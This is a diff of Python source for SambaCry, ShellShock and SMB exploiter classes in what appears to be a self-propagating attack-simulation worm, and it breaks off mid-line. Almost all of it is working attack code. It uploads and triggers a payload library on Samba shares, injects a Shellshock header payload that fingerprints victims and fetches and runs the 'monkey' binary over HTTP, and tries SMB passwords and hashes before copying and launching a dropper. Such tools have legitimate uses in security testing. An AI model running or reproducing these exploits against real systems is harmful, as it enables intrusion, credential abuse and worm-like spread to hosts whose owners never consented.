LOG.info("Writable shares and their credentials on host %s: %s" %
|
LOG.info("Writable shares and their credentials on host %s: %s" %
|
||||||
(host.ip_addr, str(writable_shares_creds_dict)))
|
(self.host.ip_addr, str(writable_shares_creds_dict)))
|
||||||
|
|
||||||
host.services[SMB_SERVICE]["shares"] = {}
|
self._exploit_info["shares"] = {}
|
||||||
for share in writable_shares_creds_dict:
|
for share in writable_shares_creds_dict:
|
||||||
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||||
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
|
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
||||||
|
|
||||||
# Wait for samba server to load .so, execute code and create result file.
|
# Wait for samba server to load .so, execute code and create result file.
|
||||||
time.sleep(self._config.sambacry_trigger_timeout)
|
time.sleep(self._config.sambacry_trigger_timeout)
|
||||||
|
@ -72,37 +73,40 @@ class SambaCryExploiter(HostExploiter):
|
||||||
successfully_triggered_shares = []
|
successfully_triggered_shares = []
|
||||||
|
|
||||||
for share in writable_shares_creds_dict:
|
for share in writable_shares_creds_dict:
|
||||||
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
|
trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||||
|
creds = writable_shares_creds_dict[share]
|
||||||
|
self.report_login_attempt(
|
||||||
|
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
|
||||||
if trigger_result is not None:
|
if trigger_result is not None:
|
||||||
successfully_triggered_shares.append((share, trigger_result))
|
successfully_triggered_shares.append((share, trigger_result))
|
||||||
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
|
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||||
|
|
||||||
for share, fullpath in successfully_triggered_shares:
|
for share, fullpath in successfully_triggered_shares:
|
||||||
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
|
self._exploit_info["shares"][share]["fullpath"] = fullpath
|
||||||
|
|
||||||
if len(successfully_triggered_shares) > 0:
|
if len(successfully_triggered_shares) > 0:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
"Shares triggered successfully on host %s: %s" % (
|
||||||
|
self.host.ip_addr, str(successfully_triggered_shares)))
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def try_exploit_share(self, host, share, creds, depth):
|
def try_exploit_share(self, share, creds):
|
||||||
"""
|
"""
|
||||||
Tries exploiting share
|
Tries exploiting share
|
||||||
:param host: victim Host object
|
|
||||||
:param share: share name
|
:param share: share name
|
||||||
:param creds: credentials to use with share
|
:param creds: credentials to use with share
|
||||||
:param depth: current depth of monkey
|
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
smb_client = self.connect_to_server(host.ip_addr, creds)
|
smb_client = self.connect_to_server(self.host.ip_addr, creds)
|
||||||
self.upload_module(smb_client, host, share, depth)
|
self.upload_module(smb_client, share)
|
||||||
self.trigger_module(smb_client, share)
|
self.trigger_module(smb_client, share)
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (
|
||||||
|
self.host.ip_addr, share, str(creds)))
|
||||||
|
|
||||||
def clean_share(self, ip, share, creds):
|
def clean_share(self, ip, share, creds):
|
||||||
"""
|
"""
|
||||||
|
@ -189,18 +193,17 @@ class SambaCryExploiter(HostExploiter):
|
||||||
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
||||||
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
||||||
|
|
||||||
def is_vulnerable(self, host):
|
def is_vulnerable(self):
|
||||||
"""
|
"""
|
||||||
Checks whether the victim runs a possibly vulnerable version of samba
|
Checks whether the victim runs a possibly vulnerable version of samba
|
||||||
:param host: victim Host object
|
|
||||||
:return: True if victim is vulnerable, False otherwise
|
:return: True if victim is vulnerable, False otherwise
|
||||||
"""
|
"""
|
||||||
if SMB_SERVICE not in host.services:
|
if SMB_SERVICE not in self.host.services:
|
||||||
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
|
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
pattern = re.compile(r'\d*\.\d*\.\d*')
|
pattern = re.compile(r'\d*\.\d*\.\d*')
|
||||||
smb_server_name = host.services[SMB_SERVICE].get('name')
|
smb_server_name = self.host.services[SMB_SERVICE].get('name')
|
||||||
samba_version = "unknown"
|
samba_version = "unknown"
|
||||||
pattern_result = pattern.search(smb_server_name)
|
pattern_result = pattern.search(smb_server_name)
|
||||||
is_vulnerable = False
|
is_vulnerable = False
|
||||||
|
@ -225,46 +228,19 @@ class SambaCryExploiter(HostExploiter):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
|
|
||||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||||
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
(self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
||||||
|
|
||||||
return is_vulnerable
|
return is_vulnerable
|
||||||
|
|
||||||
def is_share_writable(self, smb_client, share):
|
def upload_module(self, smb_client, share):
|
||||||
"""
|
|
||||||
Checks whether the share is writable
|
|
||||||
:param smb_client: smb client object
|
|
||||||
:param share: share name
|
|
||||||
:return: True if share is writable, False otherwise.
|
|
||||||
"""
|
|
||||||
LOG.debug('Checking %s for write access' % share)
|
|
||||||
try:
|
|
||||||
tree_id = smb_client.connectTree(share)
|
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
|
||||||
return False
|
|
||||||
|
|
||||||
try:
|
|
||||||
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
|
||||||
writable = True
|
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
|
||||||
writable = False
|
|
||||||
pass
|
|
||||||
|
|
||||||
smb_client.disconnectTree(tree_id)
|
|
||||||
|
|
||||||
return writable
|
|
||||||
|
|
||||||
def upload_module(self, smb_client, host, share, depth):
|
|
||||||
"""
|
"""
|
||||||
Uploads the module and all relevant files to server
|
Uploads the module and all relevant files to server
|
||||||
:param smb_client: smb client object
|
:param smb_client: smb client object
|
||||||
:param host: victim Host object
|
|
||||||
:param share: share name
|
:param share: share name
|
||||||
:param depth: current depth of monkey
|
|
||||||
"""
|
"""
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
|
|
||||||
with self.get_monkey_commandline_file(host, depth,
|
with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
|
||||||
self._config.dropper_target_path_linux) as monkey_commandline_file:
|
|
||||||
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
|
||||||
|
|
||||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||||
|
@ -284,18 +260,6 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
smb_client.disconnectTree(tree_id)
|
smb_client.disconnectTree(tree_id)
|
||||||
|
|
||||||
def connect_to_server(self, ip, credentials):
|
|
||||||
"""
|
|
||||||
Connects to server using given credentials
|
|
||||||
:param ip: IP of server
|
|
||||||
:param credentials: credentials to log in with
|
|
||||||
:return: SMBConnection object representing the connection
|
|
||||||
"""
|
|
||||||
smb_client = SMBConnection(ip, ip)
|
|
||||||
smb_client.login(
|
|
||||||
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
|
||||||
return smb_client
|
|
||||||
|
|
||||||
def trigger_module(self, smb_client, share):
|
def trigger_module(self, smb_client, share):
|
||||||
"""
|
"""
|
||||||
Tries triggering module
|
Tries triggering module
|
||||||
|
@ -346,11 +310,50 @@ class SambaCryExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, host, depth, location):
|
def get_monkey_commandline_file(self, location):
|
||||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def is_share_writable(smb_client, share):
|
||||||
|
"""
|
||||||
|
Checks whether the share is writable
|
||||||
|
:param smb_client: smb client object
|
||||||
|
:param share: share name
|
||||||
|
:return: True if share is writable, False otherwise.
|
||||||
|
"""
|
||||||
|
LOG.debug('Checking %s for write access' % share)
|
||||||
|
try:
|
||||||
|
tree_id = smb_client.connectTree(share)
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||||
|
writable = True
|
||||||
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
writable = False
|
||||||
|
pass
|
||||||
|
|
||||||
|
smb_client.disconnectTree(tree_id)
|
||||||
|
|
||||||
|
return writable
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def connect_to_server(ip, credentials):
|
||||||
|
"""
|
||||||
|
Connects to server using given credentials
|
||||||
|
:param ip: IP of server
|
||||||
|
:param credentials: credentials to log in with
|
||||||
|
:return: SMBConnection object representing the connection
|
||||||
|
"""
|
||||||
|
smb_client = SMBConnection(ip, ip)
|
||||||
|
smb_client.login(
|
||||||
|
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
||||||
|
return smb_client
|
||||||
|
|
||||||
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
||||||
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
@staticmethod
|
||||||
|
def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||||
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
||||||
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
||||||
|
|
||||||
|
@ -396,7 +399,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
# In our case, str(FileID)
|
# In our case, str(FileID)
|
||||||
return str(createResponse['FileID'])
|
return str(createResponse['FileID'])
|
||||||
|
|
||||||
def open_pipe(self, smb_client, pathName):
|
@staticmethod
|
||||||
|
def open_pipe(smb_client, pathName):
|
||||||
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
||||||
# to make things easier for the caller. Not this time ;)
|
# to make things easier for the caller. Not this time ;)
|
||||||
treeId = smb_client.connectTree('IPC$')
|
treeId = smb_client.connectTree('IPC$')
|
||||||
|
@ -426,7 +430,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||||
else:
|
else:
|
||||||
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
||||||
shareMode=FILE_SHARE_READ,
|
shareMode=FILE_SHARE_READ,
|
||||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||||
fileAttributes=0)
|
fileAttributes=0)
|
||||||
|
|
|
@ -1,16 +1,17 @@
|
||||||
# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
|
# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from random import choice
|
|
||||||
import string
|
import string
|
||||||
from tools import build_monkey_commandline
|
from random import choice
|
||||||
from exploit import HostExploiter
|
|
||||||
from model.host import VictimHost
|
|
||||||
from shellshock_resources import CGI_FILES
|
|
||||||
from model import MONKEY_ARG
|
|
||||||
from exploit.tools import get_target_monkey, HTTPTools
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
from exploit import HostExploiter
|
||||||
|
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||||
|
from model import MONKEY_ARG
|
||||||
|
from shellshock_resources import CGI_FILES
|
||||||
|
from tools import build_monkey_commandline
|
||||||
|
|
||||||
__author__ = 'danielg'
|
__author__ = 'danielg'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
@ -20,13 +21,14 @@ DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||||
|
|
||||||
|
|
||||||
class ShellShockExploiter(HostExploiter):
|
class ShellShockExploiter(HostExploiter):
|
||||||
_target_os_type = ['linux']
|
|
||||||
|
|
||||||
_attacks = {
|
_attacks = {
|
||||||
"Content-type": "() { :;}; echo; "
|
"Content-type": "() { :;}; echo; "
|
||||||
}
|
}
|
||||||
|
|
||||||
def __init__(self):
|
_TARGET_OS_TYPE = ['linux']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(ShellShockExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.success_flag = ''.join(
|
self.success_flag = ''.join(
|
||||||
|
@ -34,11 +36,10 @@ class ShellShockExploiter(HostExploiter):
|
||||||
) for _ in range(20))
|
) for _ in range(20))
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
assert isinstance(host, VictimHost)
|
|
||||||
# start by picking ports
|
# start by picking ports
|
||||||
candidate_services = {service: host.services[service] for service in host.services if
|
candidate_services = {service: self.host.services[service] for service in self.host.services if
|
||||||
host.services[service]['name'] == 'http'}
|
self.host.services[service]['name'] == 'http'}
|
||||||
|
|
||||||
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
|
||||||
'tcp-' + str(port) in candidate_services]
|
'tcp-' + str(port) in candidate_services]
|
||||||
|
@ -47,65 +48,63 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
'Scanning %s, ports [%s] for vulnerable CGI pages' % (
|
'Scanning %s, ports [%s] for vulnerable CGI pages' % (
|
||||||
host, ",".join([str(port[0]) for port in valid_ports]))
|
self.host, ",".join([str(port[0]) for port in valid_ports]))
|
||||||
)
|
)
|
||||||
|
|
||||||
attackable_urls = []
|
attackable_urls = []
|
||||||
# now for each port we want to check the entire URL list
|
# now for each port we want to check the entire URL list
|
||||||
for port in http_ports:
|
for port in http_ports:
|
||||||
urls = self.check_urls(host.ip_addr, port)
|
urls = self.check_urls(self.host.ip_addr, port)
|
||||||
attackable_urls.extend(urls)
|
attackable_urls.extend(urls)
|
||||||
for port in https_ports:
|
for port in https_ports:
|
||||||
urls = self.check_urls(host.ip_addr, port, is_https=True)
|
urls = self.check_urls(self.host.ip_addr, port, is_https=True)
|
||||||
attackable_urls.extend(urls)
|
attackable_urls.extend(urls)
|
||||||
# now for each URl we want to try and see if it's attackable
|
# now for each URl we want to try and see if it's attackable
|
||||||
exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
|
exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
|
||||||
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
|
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
|
||||||
|
|
||||||
# we want to report all vulnerable URLs even if we didn't succeed
|
# we want to report all vulnerable URLs even if we didn't succeed
|
||||||
# let's overload this
|
self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
|
||||||
# TODO: uncomment when server is ready for it
|
|
||||||
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
|
|
||||||
|
|
||||||
# now try URLs until we install something on victim
|
# now try URLs until we install something on victim
|
||||||
for _, url, header, exploit in exploitable_urls:
|
for _, url, header, exploit in exploitable_urls:
|
||||||
LOG.info("Trying to attack host %s with %s URL" % (host, url))
|
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
|
||||||
# same attack script as sshexec
|
# same attack script as sshexec
|
||||||
# for any failure, quit and don't try other URLs
|
# for any failure, quit and don't try other URLs
|
||||||
if not host.os.get('type'):
|
if not self.host.os.get('type'):
|
||||||
try:
|
try:
|
||||||
uname_os_attack = exploit + '/bin/uname -o'
|
uname_os_attack = exploit + '/bin/uname -o'
|
||||||
uname_os = self.attack_page(url, header, uname_os_attack)
|
uname_os = self.attack_page(url, header, uname_os_attack)
|
||||||
if 'linux' in uname_os:
|
if 'linux' in uname_os:
|
||||||
host.os['type'] = 'linux'
|
self.host.os['type'] = 'linux'
|
||||||
else:
|
else:
|
||||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||||
return False
|
return False
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
|
LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return False
|
||||||
if not host.os.get('machine'):
|
if not self.host.os.get('machine'):
|
||||||
try:
|
try:
|
||||||
uname_machine_attack = exploit + '/bin/uname -m'
|
uname_machine_attack = exploit + '/bin/uname -m'
|
||||||
uname_machine = self.attack_page(url, header, uname_machine_attack)
|
uname_machine = self.attack_page(url, header, uname_machine_attack)
|
||||||
if '' != uname_machine:
|
if '' != uname_machine:
|
||||||
host.os['machine'] = uname_machine.lower().strip()
|
self.host.os['machine'] = uname_machine.lower().strip()
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
|
LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# copy the monkey
|
# copy the monkey
|
||||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||||
if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
|
if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
return True # return already infected
|
return True # return already infected
|
||||||
|
|
||||||
src_path = src_path or get_target_monkey(host)
|
src_path = src_path or get_target_monkey(self.host)
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
|
||||||
if not http_path:
|
if not http_path:
|
||||||
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
|
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
|
||||||
|
@ -133,12 +132,12 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
# run the monkey
|
# run the monkey
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
||||||
run_path = exploit + cmdline
|
run_path = exploit + cmdline
|
||||||
self.attack_page(url, header, run_path)
|
self.attack_page(url, header, run_path)
|
||||||
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux, host, cmdline)
|
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||||
|
|
||||||
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
|
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
LOG.info("Log file does not exist, monkey might not have run")
|
||||||
|
@ -146,6 +145,8 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def check_remote_file_exists(cls, url, header, exploit, file_path):
|
def check_remote_file_exists(cls, url, header, exploit, file_path):
|
||||||
"""
|
"""
|
||||||
|
@ -206,10 +207,3 @@ class ShellShockExploiter(HostExploiter):
|
||||||
urls = [resp.url for resp in valid_resps]
|
urls = [resp.url for resp in valid_resps]
|
||||||
|
|
||||||
return urls
|
return urls
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def report_vuln_shellshock(host, url):
|
|
||||||
from control import ControlClient
|
|
||||||
ControlClient.send_telemetry('exploit', {'vulnerable': True, 'machine': host.__dict__,
|
|
||||||
'exploiter': ShellShockExploiter.__name__,
|
|
||||||
'url': url})
|
|
||||||
|
|
|
@ -1,67 +1,52 @@
|
||||||
import sys
|
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from model.host import VictimHost
|
|
||||||
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
|
||||||
from exploit import HostExploiter
|
|
||||||
from network.tools import check_port_tcp
|
|
||||||
from exploit.tools import SmbTools, get_target_monkey
|
|
||||||
from network import SMBFinger
|
|
||||||
from tools import build_monkey_commandline, report_failed_login
|
|
||||||
|
|
||||||
try:
|
from impacket.dcerpc.v5 import transport, scmr
|
||||||
from impacket import smb
|
from impacket.smbconnection import SMB_DIALECT
|
||||||
from impacket import uuid
|
|
||||||
# from impacket.dcerpc import dcerpc
|
from exploit import HostExploiter
|
||||||
from impacket.dcerpc.v5 import transport, scmr
|
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||||
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
|
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||||
from impacket.smb import SessionError as SessionError2
|
from network import SMBFinger
|
||||||
from impacket.smb3 import SessionError as SessionError3
|
from network.tools import check_port_tcp
|
||||||
except ImportError as exc:
|
from tools import build_monkey_commandline
|
||||||
print str(exc)
|
|
||||||
print 'Install the following library to make this script work'
|
|
||||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
|
||||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
|
||||||
raise
|
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class SmbExploiter(HostExploiter):
|
class SmbExploiter(HostExploiter):
|
||||||
_target_os_type = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
|
|
||||||
KNOWN_PROTOCOLS = {
|
KNOWN_PROTOCOLS = {
|
||||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||||
}
|
}
|
||||||
USE_KERBEROS = False
|
USE_KERBEROS = False
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self, host):
|
||||||
|
super(SmbExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
self._guid = __import__('config').GUID
|
self._guid = __import__('config').GUID
|
||||||
|
|
||||||
def is_os_supported(self, host):
|
def is_os_supported(self):
|
||||||
if host.os.get('type') in self._target_os_type:
|
if super(SmbExploiter, self).is_os_supported():
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if not host.os.get('type'):
|
if not self.host.os.get('type'):
|
||||||
is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
|
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
|
||||||
if is_smb_open:
|
if is_smb_open:
|
||||||
smb_finger = SMBFinger()
|
smb_finger = SMBFinger()
|
||||||
smb_finger.get_host_fingerprint(host)
|
smb_finger.get_host_fingerprint(self.host)
|
||||||
else:
|
else:
|
||||||
is_nb_open, _ = check_port_tcp(host.ip_addr, 139)
|
is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139)
|
||||||
if is_nb_open:
|
if is_nb_open:
|
||||||
host.os['type'] = 'windows'
|
self.host.os['type'] = 'windows'
|
||||||
return host.os.get('type') in self._target_os_type
|
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
assert isinstance(host, VictimHost)
|
src_path = get_target_monkey(self.host)
|
||||||
|
|
||||||
src_path = src_path or get_target_monkey(host)
|
|
||||||
|
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
@ -70,7 +55,7 @@ class SmbExploiter(HostExploiter):
|
||||||
for user, password, lm_hash, ntlm_hash in creds:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
user,
|
user,
|
||||||
|
@ -81,17 +66,17 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
if remote_full_path is not None:
|
if remote_full_path is not None:
|
||||||
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
|
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
|
||||||
host, user, password, lm_hash, ntlm_hash)
|
self.host, user, password, lm_hash, ntlm_hash)
|
||||||
host.learn_credentials(user, password)
|
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
|
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
|
||||||
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
|
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
|
||||||
user, password, lm_hash, ntlm_hash, exc)
|
user, password, lm_hash, ntlm_hash, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -105,10 +90,10 @@ class SmbExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
|
||||||
|
|
||||||
cmdline += build_monkey_commandline(host, depth - 1)
|
